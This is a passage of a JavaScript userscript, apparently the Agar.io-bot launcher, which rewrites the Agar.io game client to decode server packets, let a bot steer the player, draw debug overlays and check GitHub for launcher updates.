'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() {return [];}; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = 